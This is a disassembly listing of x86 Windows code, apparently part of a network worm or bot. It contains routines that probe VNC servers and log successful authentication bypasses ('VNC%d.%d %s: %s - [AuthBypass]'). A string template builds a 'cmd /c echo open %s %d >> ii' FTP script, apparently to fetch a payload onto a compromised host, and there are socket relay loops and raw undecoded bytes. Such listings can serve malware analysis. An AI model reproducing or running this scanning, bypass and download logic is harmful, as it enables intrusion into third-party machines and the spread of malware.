loc_40DA57: ; CODE XREF: ___:0040DA4Ej
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_41B590
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_432224
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_41C310
push 10h
lea eax, [ebp-84h]
push offset dword_432210
push eax
mov dword ptr [ebp-88h], 3
call sub_41C310
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_40DB34
loc_40DB26: ; CODE XREF: ___:0040DC00j
push dword ptr [ebp-4]
call near ptr 26509C6h
nop
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DB34: ; CODE XREF: ___:0040DB24j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 2700000h
push ebx
call sub_41D081
push eax
call sub_41B8D8
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_41B590
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_41B590
add esp, 20h
call sub_41B8E2
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_4321B8[esi], bl
jz short loc_40DBAB
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_4CDC9C
jmp short loc_40DBBE
; ---------------------------------------------------------------------------
loc_40DBAB: ; CODE XREF: ___:0040DB97j
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_432207+1)
loc_40DBBE: ; CODE XREF: ___:0040DBA9j
lea eax, [ebp-20h]
push eax
call sub_41C310
add esp, 0Ch
call sub_41B8E2
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41B8E2
cdq
idiv edi
mov eax, dword_4321AC[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_41B4D5
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DB26
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41B590
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41B590
mov eax, dword_4321B4[esi]
push 7
add eax, edi
push offset dword_4321A0
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_432040
push eax
call sub_41C310
mov eax, dword_4321B0[esi]
add esp, 30h
cmp byte_4321B8[esi], bl
mov [ebp+0Ch], eax
jz short loc_40DCB7
push 4
add eax, edi
push offset dword_4CDC94
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_4321D0
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_41C310
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_41C310
add esp, 30h
jmp short loc_40DCDF
; ---------------------------------------------------------------------------
loc_40DCB7: ; CODE XREF: ___:0040DC68j
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_4321D0
loc_40DCC8: ; CODE XREF: ___:0040DCDDj
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_41C310
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_40DCC8
loc_40DCDF: ; CODE XREF: ___:0040DCB5j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_40DD0A
push dword ptr [ebp-4]
call near ptr 26509C6h
nop
push edi
call sub_41B0B1
pop ecx
jmp loc_40DA50
; ---------------------------------------------------------------------------
loc_40DD0A: ; CODE XREF: ___:0040DCF3j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_41B590
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_41C310
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_4276AC
fstp qword ptr [esp]
call sub_41C7BF
call sub_41C798
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_41C310
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_40DD77
loc_40DD6F: ; CODE XREF: ___:0040DD72j
inc eax
test al, 3
jnz short loc_40DD6F
mov [ebp+0Ch], eax
loc_40DD77: ; CODE XREF: ___:0040DD6Dj
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_41C310
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_41B0B1
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_41B590
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_41B590
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 26F0929h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_40DDE4: ; CODE XREF: ___:0040DE6Ej
cmp dword ptr [ebp-0Ch], 2
jge loc_40DE79
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_40D8AD
add esp, 2Ch
test al, al
jz short loc_40DE76
cmp [ebp-4Ch], ebx
jz short loc_40DE68
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2700000h
test eax, eax
jnz short loc_40DE4F
nop
call near ptr 2670897h
cmp eax, 3E5h
jnz loc_40DA50
loc_40DE4F: ; CODE XREF: ___:0040DE3Cj
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 268016Ch
cmp eax, 102h
jnz short loc_40DE68
mov byte ptr [ebp+0Bh], 1
loc_40DE68: ; CODE XREF: ___:0040DE1Bj
; ___:0040DE62j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_40DDE4
jmp short loc_40DE79
; ---------------------------------------------------------------------------
loc_40DE76: ; CODE XREF: ___:0040DE16j
mov esi, [ebp-8]
loc_40DE79: ; CODE XREF: ___:0040DDE8j
; ___:0040DE74j
push dword ptr [ebp-4]
mov edi, dword_427068
call edi
push esi
call sub_41B0B1
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_40DE95
push dword ptr [ebp-4Ch]
call edi
loc_40DE95: ; CODE XREF: ___:0040DE8Ej
cmp [ebp+0Bh], bl
setnz al
loc_40DE9B: ; CODE XREF: ___:0040DA52j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0D6h ; Ö
db 0D6h ; Ö
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 90h ;
db 0E8h ; è
db 2Bh ; +
db 34h ; 4
db 6Ah ; j
db 71h ; q
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 0E8h ; è
db 6Bh ; k
db 38h ; 8
db 6Ah ; j
db 71h ; q
db 90h ;
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 0E8h ; è
db 38h ; 8
db 5Dh ; ]
db 6Ah ; j
db 71h ; q
db 90h ;
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 5Eh ; ^
db 5Fh ; _
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 18h
db 72h ; r
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 8
db 91h ; ‘
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 0B0h ; °
db 0ACh ; ¬
db 4Ch ; L
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0DFh ; ß
db 0CCh ; Ì
db 0FFh
db 0FFh
db 59h ; Y
db 50h ; P
db 68h ; h
db 58h ; X
db 22h ; "
db 43h ; C
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 38h ; 8
db 0DAh ; Ú
db 0
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 87h ; ‡
db 0D0h ; Ð
db 0
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 0E8h ; è
db 8Ch ; Œ
db 3Bh ; ;
db 6Ah ; j
db 71h ; q
db 90h ;
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 90h ;
db 0E8h ; è
db 0E7h ; ç
db 3Ah ; :
db 6Ah ; j
db 71h ; q
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
dd 0E8000007h, 2252F59h, 0FB834390h, 6AB87202h, 5E5F5801h
; ---------------------------------------------------------------------------
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
nop
call near ptr 71AB1746h
push esi
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E0B0
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_40E0B0
mov edi, 400h
push esi
mov esi, dword_427218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_429108
push eax
push eax
push dword_4CACB0
push [ebp+arg_0]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41B980
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40E0B4
loc_40E0B0: ; CODE XREF: sub_40DFE2+50j
; sub_40DFE2+62j
xor eax, eax
jmp short loc_40E0CB
; ---------------------------------------------------------------------------
loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40DFE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp
; DATA XREF: ___:off_431414o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call dword_4CAFB4
push [ebp+arg_A0]
mov [ebp+var_C], eax
call dword_4CAF74
push 6
push 1
push 2
mov [ebp+var_E], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E142
lea eax, [ebp+var_10]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40E123
push esi
jmp short loc_40E13C
; ---------------------------------------------------------------------------
loc_40E123: ; CODE XREF: sub_40E0D0+4Ej
push 0
push 1213h
push offset dword_4322CC
push esi
nop
call near ptr 71AB1AF4h
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E146
loc_40E13C: ; CODE XREF: sub_40E0D0+51j
nop
call near ptr 71AB1A6Dh
loc_40E142: ; CODE XREF: sub_40E0D0+3Cj
xor eax, eax
jmp short loc_40E188
; ---------------------------------------------------------------------------
loc_40E146: ; CODE XREF: sub_40E0D0+6Aj
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DFE2
add esp, 0C0h
test eax, eax
jz short loc_40E185
mov eax, [ebp+arg_A8]
shl eax, 6
inc dword_431418[eax]
lea eax, dword_431418[eax]
loc_40E185: ; CODE XREF: sub_40E0D0+9Ej
push 1
pop eax
loc_40E188: ; CODE XREF: sub_40E0D0+74j
pop edi
pop esi
leave
retn
sub_40E0D0 endp
; =============== S U B R O U T I N E =======================================
sub_40E18C proc near ; CODE XREF: ___:0040E27Ap
; ___:0040E2DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
xor esi, esi
loc_40E194: ; CODE XREF: sub_40E18C+2Dj
test edi, edi
jle short loc_40E1BF
mov eax, [esp+8+arg_4]
push 0
add eax, esi
push edi
push eax
push [esp+14h+arg_0]
call dword_4CAF8C
test eax, eax
jz short loc_40E1BB
cmp eax, 0FFFFFFFFh
jz short loc_40E1BB
sub edi, eax
add esi, eax
jmp short loc_40E194
; ---------------------------------------------------------------------------
loc_40E1BB: ; CODE XREF: sub_40E18C+22j
; sub_40E18C+27j
xor eax, eax
jmp short loc_40E1C2
; ---------------------------------------------------------------------------
loc_40E1BF: ; CODE XREF: sub_40E18C+Aj
push 1
pop eax
loc_40E1C2: ; CODE XREF: sub_40E18C+31j
pop edi
pop esi
retn
sub_40E18C endp
; =============== S U B R O U T I N E =======================================
sub_40E1C5 proc near ; CODE XREF: ___:0040E2C6p
; ___:0040E2F3p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_8]
test edi, edi
jz short loc_40E202
xor esi, esi
test edi, edi
jle short loc_40E1FC
loc_40E1D5: ; CODE XREF: sub_40E1C5+35j
mov eax, edi
push 0
sub eax, esi
push eax
mov eax, [esp+10h+arg_4]
add eax, esi
push eax
push [esp+14h+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_40E202
test eax, eax
jz short loc_40E202
add esi, eax
cmp esi, edi
jl short loc_40E1D5
loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej
push 1
pop eax
loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_40E202: ; CODE XREF: sub_40E1C5+8j
; sub_40E1C5+2Bj ...
xor eax, eax
jmp short loc_40E1FF
sub_40E1C5 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 24Ch
push ebx
mov ax, word_433510
push esi
push edi
push 0
push 1
push 2
mov [ebp-2], ax
pop esi
push esi
call dword_4CAFF4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_40E234
push eax
jmp short loc_40E268
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: ___:0040E22Fj
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
push dword ptr [ebp+0A8h]
mov [ebp-48h], eax
mov [ebp-4Ch], si
call dword_4CAF74
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_40E273
push ebx
loc_40E268: ; CODE XREF: ___:0040E232j
call dword_4CB00C
jmp loc_40E46E
; ---------------------------------------------------------------------------
loc_40E273: ; CODE XREF: ___:0040E265j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-20h]
and byte ptr [ebp-2Ch], 0
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-38h]
push offset aRfb03d_03d ; "RFB %03d.%03d\n"
push eax
call sub_41C645
add esp, 10h
cmp eax, esi
jnz loc_40E467
cmp dword ptr [ebp-28h], 3
jz short loc_40E2BF
cmp dword ptr [ebp-20h], 8
jnz loc_40E467
loc_40E2BF: ; CODE XREF: ___:0040E2B3j
lea eax, [ebp-38h]
push 0Ch
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-3Ch]
push esi
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-2]
push 1
push eax
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-24h]
push 4
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
mov eax, [ebp-24h]
mov edi, 0FF0000h
mov ecx, eax
mov edx, eax
and ecx, edi
mov esi, 0FF00h
shr edx, 10h
or ecx, edx
mov edx, eax
shl edx, 10h
and eax, esi
or edx, eax
shr ecx, 8
shl edx, 8
or ecx, edx
mov [ebp-24h], ecx
jnz loc_40E467
push 1
push offset dword_4CAE2C
push ebx
call sub_40E1C5
add esp, 0Ch
test eax, eax
jz loc_40E467
lea eax, [ebp-1Ch]
push 18h
push eax
push ebx
call sub_40E18C
add esp, 0Ch
test eax, eax
jz loc_40E467
xor eax, eax
mov ecx, [ebp-8]
mov al, [ebp-1Bh]
mov edx, ecx
mov ah, [ebp-1Ch]
mov [ebp-1Ch], ax
xor eax, eax
mov al, [ebp-19h]
mov ah, [ebp-1Ah]
mov [ebp-1Ah], ax
xor eax, eax
mov al, [ebp-13h]
mov ah, [ebp-14h]
mov [ebp-14h], ax
xor eax, eax
mov al, [ebp-11h]
mov ah, [ebp-12h]
mov [ebp-12h], ax
xor eax, eax
mov al, [ebp-0Fh]
mov ah, [ebp-10h]
mov [ebp-10h], ax
mov eax, ecx
and eax, edi
shr edx, 10h
or eax, edx
mov edx, ecx
shl edx, 10h
and ecx, esi
or edx, ecx
shr eax, 8
shl edx, 8
or eax, edx
mov [ebp-8], eax
add eax, 2
push eax
call sub_41CFC5
mov edi, [ebp-8]
pop ecx
test edi, edi
mov esi, eax
jle short loc_40E3F7
push edi
push esi
push ebx
call sub_40E18C
add esp, 0Ch
loc_40E3F7: ; CODE XREF: ___:0040E3EAj
and byte ptr [edi+esi], 0
lea eax, [ebp+0Ch]
push eax
push esi
push dword ptr [ebp-20h]
lea eax, [ebp-24Ch]
push dword ptr [ebp-28h]
push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
push 200h
push eax
call sub_41B980
push 0
lea eax, [ebp-24Ch]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409A72
lea eax, [ebp-24Ch]
push eax
call sub_4151AC
mov eax, [ebp+0B0h]
add esp, 34h
shl eax, 6
inc dword_431418[eax]
push ebx
lea eax, dword_431418[eax]
nop
call near ptr 71AB1A6Dh
push 1
pop eax
jmp short loc_40E470
; ---------------------------------------------------------------------------
loc_40E467: ; CODE XREF: ___:0040E284j
; ___:0040E2A9j ...
push ebx
nop
call near ptr 71AB1A6Dh
loc_40E46E: ; CODE XREF: ___:0040E26Ej
xor eax, eax
loc_40E470: ; CODE XREF: ___:0040E465j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E47E: ; CODE XREF: ___:0040E49Aj
; ___:0040E4B6j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCB4
call dword_4CAF8C
test eax, eax
jle short loc_40E47E
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push dword_4CDCB0
nop
call near ptr 26F0000h
jmp short loc_40E47E
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E4C1: ; CODE XREF: ___:0040E4E7j
; ___:0040E501j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push dword_4CDCA4
nop
call near ptr 2700000h
cmp dword ptr [ebp-4], 0
jle short loc_40E4C1
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push dword_4CDCB4
call dword_4CAFC4
jmp short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503 db 55h ; DATA XREF: sub_401ACD+2D0Do
dword_40E504 dd 0EC81EC8Bh, 11Ch, 5308458Bh, 286A5756h, 8D59F08Bh, 0FFFEE4BDh
dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
dd 57004270h, 875FF57h, 0B00815FFh, 0B4A3004Ch, 8D004CDCh
dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch, 0CF4h
dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch, 16A57C0h
dd 6AC4458Dh, 45C75002h, 4484h, 0B045C700h, 101h, 0B47D8966h
dd 2022E890h, 0FF500230h, 4CDCA835h, 2016E800h, 50900230h
dd 3019E7E8h, 458D9002h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
dd 8D50016Ah, 6850F445h, 433514h, 66E89057h, 8D022426h
dd 5750E845h, 0E4B86857h, 458D0040h, 0E85057F4h, 22619ACh
dd 0EC458990h, 50E8458Dh, 75685757h, 8D0040E4h, 5057F445h
dd 1992E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271AF0h
dd 0F075FF57h, 2287E890h, 0FF570227h, 7EE8EC75h, 90022722h
dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22F24C0h
dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
push 0FFFEh
push 400h
call sub_418684
pop ecx
mov dword_4CDCBC, eax
pop ecx
retn
; ---------------------------------------------------------------------------
byte_40E6EF db 55h ; DATA XREF: sub_40BACD+34Do
dd 0EC81EC8Bh, 6C0h, 5308458Bh, 276A5756h, 8D59F08Bh, 0FFFF50BDh
dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
dd 4CAFF4h, 0CE83F88Bh, 75FE3BFFh, 0E45D3945h, 8D532075h
dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
dd 0CF850Fh, 15FF0000h, 4CAF08h, 27403Dh, 33477400h, 0E47539F6h
dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h
dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0BCA35900h
dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
dd 75C63B00h, 815FF54h, 33004CAFh, 0E47539F6h, 403D2775h
dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh
dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
dd 0E8565959h, 22C1770h, 57056A90h, 0AF9C15FFh, 0C63B004Ch
dd 0D4840Fh, 45C70000h, 10FCh, 9108BE00h, 458D0042h, 858D50FCh
dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
dd 351C6850h, 858D0043h, 0FFFFF940h, 41E85053h, 830000D0h
dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
